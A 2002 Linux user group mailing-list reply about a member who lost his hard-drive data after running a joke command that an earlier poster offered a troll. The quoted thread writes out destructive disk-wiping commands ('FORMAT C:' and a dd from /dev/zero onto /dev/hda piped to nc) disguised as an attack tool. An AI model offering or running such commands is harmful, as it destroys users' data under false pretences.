On Fri, 2002-04-19 at 09:14, Booth, Christopher (Aus) - ATP wrote: > I've no idea if what I've done is fixable, but I'm not happy if I've lost > all my data on my hard drive. > I don't care about programs but my personal stuff is hard to replace. > > While it may be fun to take the mickey out of Osama, if you lost all your > personal data, and didn't have a backup mechanism available to restore it > from, would you be happy ?
I've accidentally stomped all over my data on a few occasions - trashed my partition table, e2fsck'ed /dev/hda instead of /dev/hda2, and most recently destroyed a partition by rebooting half-way through a fsck. Not a pleasant way to learn a lesson, but they've all stayed learnt. I now back up, for a start. :-) If you did indeed let that command run to completion, then I'm afraid you're not going to be able to get anything back without expensive professional data recovery services. Reaching in the dark, here, but I imagine it would have failed after overwriting the section where /dev/zero was kept? If so, then you may be able to get to everything after there. Now. Just so I know, in case I do it again, is there a relatively easy way to recover a partition table? > -----Original Message----- > From: Daniel Stone [mailto:[EMAIL PROTECTED]] > Sent: Wednesday, 17 April 2002 8:19 PM > To: Matthew Sanderson > Cc: OSAMA; [EMAIL PROTECTED] > Subject: Re: [SLUG] i need a sofware to penetrate in to systems > > > On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote: > > OSAMA, > > > > Try this command from a DOS prompt, it accesses the CIA and FBI's websites > > and lets you access the restricted area: Please please PLEASE don't feed the trolls. It only encourages them. > > FORMAT C: > > But seriously, I suggest: > dd if=/dev/zero of=/dev/hda bs=1k | nc <host here> 65535 > > This is a zero-byte overflow attack - hosts on port 65535 are vulnerable > because that's near an overflow region! As poor as it was, this joke should have been directed at slug-chat, where there's very little risk of being taken seriously. You should also make your humour tags explicit - it's too hard to infer from context. -- Pete [EMAIL PROTECTED] Life in this world is, as it were, a sojourn in a cave. What can we know of reality? For all we see of the true nature of existence is, shall we say, no more than bewildering and amusing shadows cast upon the inner wall of the cave by the unseen blinding light of absolute truth, from which we may or may not deduce some glimmer of veracity, and we as troglodyte seekers of wisdom can only lift our voices to the unseen and say, humbly, "Go on, do Deformed Rabbit... it's my favourite." -- Didactylos the philosopher (Terry Pratchett, Small Gods) -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
